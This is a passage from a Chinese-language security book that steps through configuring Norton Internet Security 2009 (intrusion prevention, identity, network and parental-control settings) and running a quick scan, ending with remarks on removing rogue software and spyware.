步骤15：在“入侵防护”选项卡中可对“入侵排除”、“入侵自动阻止”和“通知警告”进行相应设置，单击“入侵排除”栏目右侧“配置”链接，即可打开【入侵排除】对话框，即可查看攻击特征的列表。还可打开或关闭当Norton Internet Security检测到特定特征时显示的通知，如图12-123所示。

图　12-123　【入侵排除】对话框

步骤16：单击“入侵自动阻止”栏目右侧的“配置”超链接，即可打开【入侵自动阻止】对话框，在其中将入侵自动阻止打开或关闭指定的时间段，还可查看、取消阻止或限制阻止的计算机，如图12-124所示。

图　12-124　【入侵自动阻止】对话框

步骤17：在“Norton Internet Security选项”设置窗口中选择“身份设置”选项卡，如图12-125所示。单击“身份保护”栏目右侧的“配置”超链接，即可打开【设置Norton身份安全】对话框，在其中对Norton身份进行安全设置，如图12-126所示。

图　12-125　“身份设置”页面

图　12-126　【设置Norton身份安全】对话框

步骤18：在“家庭网络设置”选项卡中可对家庭网络和远程监控进行相应的设置，如图12-127所示。在“其他设置”选项卡中可对产品安全性、CPU使用情况等进行设置，如图12-128所示。

图　12-127　“家庭网络设置”页面

图　12-128　“其他设置”设置界面

步骤19：在“父母和隐私控制”选项卡中可对通过Internet发送的信息种类进行若干级别控制，还可为不同Windows用户账户授予Internet内容的访问权限，如图12-129所示。

图　12-129　“父母和隐私控制”设置界面

2.用网络安全特警扫描程序

在所有设置完毕之后，就可以运用设置好的方式实施扫描程序，具体的操作步骤如下。

步骤1：在“诺顿网络安全特警2009”主窗口中单击“计算机”栏目下的“立即扫描”链接按钮，即可弹出三种不同扫描方式，根据实际需要选择相应扫描方式（这里选择“运行快速扫描”方式），如图12-130所示。

图　12-130　选择扫描方式

步骤2：单击【运行快速扫描】按钮，即可进入扫描状态，如图12-131所示。当扫描完毕之后，即可显示出扫描结果，如图12-132所示。

图　12-131　进入扫描状态

图　12-132　扫描结果显示

步骤3：若扫描完毕后有提示需要注意事项时，则单击“需要注意”选项卡，根据实际情况对出现的问题进行修复或忽略操作（这里选择修复），如图12-133所示。在选择修复操作后，单击右侧的按钮，将会弹出“低风险警报”提示框，如图12-134所示。单击【确定】按钮，即可自动实现修复并将修复结果显示出来，如图12-135所示。

图　12-133　“需要注意”设置界面

图　12-134　“低风险警报”提示框

图　12-135　修复结果显示

其实不论是流氓软件还是间谍软件，都存在高度危害计算机系统的安全性和稳定性，非常有必要将其清除。由于不同的间谍软件和流氓软件设定各不相同，且删除的方法也越来越复杂，即使利用反间谍软件或反流氓软件，也不能保证将其成功清除，有时还可能会因为清除流氓软件和间谍软件而导致系统出现问题，此时就需要请教专家进行手动清除。读者只有学会了流氓软件与间谍软件的清除方法，才能充分保证自己的计算机系统不被恶意软件破坏，以减少黑客们入侵带来的损失。